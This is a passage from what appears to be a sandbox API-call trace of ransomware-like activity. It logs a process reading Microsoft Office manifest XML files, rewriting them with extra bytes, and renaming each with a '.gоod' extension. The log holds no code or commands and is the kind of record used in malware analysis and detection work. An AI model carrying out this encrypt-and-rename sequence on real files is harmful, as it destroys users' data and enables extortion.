| out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0134.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3788328 | out: lpFileInformation=0x3788328*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f)) returned 1 [0134.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0134.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0134.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0134.274] GetFileType (hFile=0x630) returned 0x1 [0134.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0134.274] GetFileType (hFile=0x630) returned 0x1 [0134.274] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0xd2f [0134.274] ReadFile (in: hFile=0x630, lpBuffer=0x3789430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3789430*, lpNumberOfBytesRead=0x1feed338*=0xd2f, lpOverlapped=0x0) returned 1 [0134.471] CloseHandle (hObject=0x630) returned 1 [0134.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0134.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.946] GetFileType (hFile=0x63c) returned 0x1 [0134.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0134.947] GetFileType (hFile=0x63c) returned 0x1 [0134.947] WriteFile (in: hFile=0x63c, lpBuffer=0x3929f68*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3929f68*, lpNumberOfBytesWritten=0x1feed248*=0xd30, lpOverlapped=0x0) returned 1 [0134.948] CloseHandle (hObject=0x63c) returned 1 [0134.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0134.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0134.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0134.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ca6f532, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0134.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0134.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0134.949] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0134.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0134.949] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), fInfoLevelId=0x0, lpFileInformation=0x392b2d0 | out: lpFileInformation=0x392b2d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876)) returned 1 [0134.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0134.950] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0134.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0134.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.950] GetFileType (hFile=0x63c) returned 0x1 [0134.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0134.950] GetFileType (hFile=0x63c) returned 0x1 [0134.950] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0134.950] ReadFile (in: hFile=0x63c, lpBuffer=0x392b718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x392b718*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0135.187] CloseHandle (hObject=0x63c) returned 1 [0135.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0135.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0135.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.777] GetFileType (hFile=0x63c) returned 0x1 [0135.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0135.777] GetFileType (hFile=0x63c) returned 0x1 [0135.777] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x212876 [0135.778] WriteFile (in: hFile=0x63c, lpBuffer=0x39e26c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x39e26c8*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0135.780] CloseHandle (hObject=0x63c) returned 1 [0135.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0135.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0135.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.780] GetFileType (hFile=0x63c) returned 0x1 [0135.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0135.780] GetFileType (hFile=0x63c) returned 0x1 [0135.780] ReadFile (in: hFile=0x63c, lpBuffer=0x39e4ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x39e4ab0*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0136.356] CloseHandle (hObject=0x63c) returned 1 [0136.356] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0136.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0136.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.356] GetFileType (hFile=0x63c) returned 0x1 [0136.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0136.356] GetFileType (hFile=0x63c) returned 0x1 [0136.356] WriteFile (in: hFile=0x63c, lpBuffer=0x3797d98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3797d98*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0136.357] CloseHandle (hObject=0x63c) returned 1 [0136.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x0) returned 0x4a [0136.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.gоod", lpFilePart=0x0) returned 0x4f [0136.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0136.357] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d7d8855, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x212886)) returned 1 [0136.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0136.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.gоod")) returned 1 [0136.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0136.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x37eff68 | out: lpFileInformation=0x37eff68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667)) returned 1 [0136.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0136.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0136.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.359] GetFileType (hFile=0x63c) returned 0x1 [0136.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0136.359] GetFileType (hFile=0x63c) returned 0x1 [0136.359] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0136.359] ReadFile (in: hFile=0x63c, lpBuffer=0x37f03d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x37f03d0*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0136.360] CloseHandle (hObject=0x63c) returned 1 [0136.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0136.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.360] GetFileType (hFile=0x63c) returned 0x1 [0136.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0136.360] GetFileType (hFile=0x63c) returned 0x1 [0136.361] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x2667 [0136.361] WriteFile (in: hFile=0x63c, lpBuffer=0x37f16c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x37f16c0*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0136.361] CloseHandle (hObject=0x63c) returned 1 [0136.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0136.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.362] GetFileType (hFile=0x63c) returned 0x1 [0136.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0136.362] GetFileType (hFile=0x63c) returned 0x1 [0136.362] ReadFile (in: hFile=0x63c, lpBuffer=0x37f39a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x37f39a8*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0136.390] CloseHandle (hObject=0x63c) returned 1 [0136.390] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0136.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.390] GetFileType (hFile=0x63c) returned 0x1 [0136.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0136.391] GetFileType (hFile=0x63c) returned 0x1 [0136.391] WriteFile (in: hFile=0x63c, lpBuffer=0x37f26d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x37f26d8*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0136.391] CloseHandle (hObject=0x63c) returned 1 [0136.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x4c [0136.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.gоod", lpFilePart=0x0) returned 0x51 [0136.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0136.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d824cad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2677)) returned 1 [0136.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0136.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.gоod")) returned 1 [0136.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", lpFilePart=0x0) returned 0x49 [0136.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0136.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), fInfoLevelId=0x0, lpFileInformation=0x386fdf0 | out: lpFileInformation=0x386fdf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175)) returned 1 [0136.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0136.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", lpFilePart=0x0) returned 0x49 [0136.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0136.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.393] GetFileType (hFile=0x63c) returned 0x1 [0136.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0136.393] GetFileType (hFile=0x63c) returned 0x1 [0136.393] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x175 [0136.393] ReadFile (in: hFile=0x63c, lpBuffer=0x3870240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3870240*, lpNumberOfBytesRead=0x1feed338*=0x175, lpOverlapped=0x0) returned 1 [0136.708] CloseHandle (hObject=0x63c) returned 1 [0136.742] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", lpFilePart=0x0) returned 0x49 [0136.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0136.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0136.743] GetFileType (hFile=0x63c) returned 0x1 [0136.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0136.743] GetFileType (hFile=0x63c) returned 0x1 [0136.743] WriteFile (in: hFile=0x63c, lpBuffer=0x39d1600*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x39d1600*, lpNumberOfBytesWritten=0x1feed248*=0x180, lpOverlapped=0x0) returned 1 [0136.969] CloseHandle (hObject=0x63c) returned 1 [0136.971] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", lpFilePart=0x0) returned 0x49 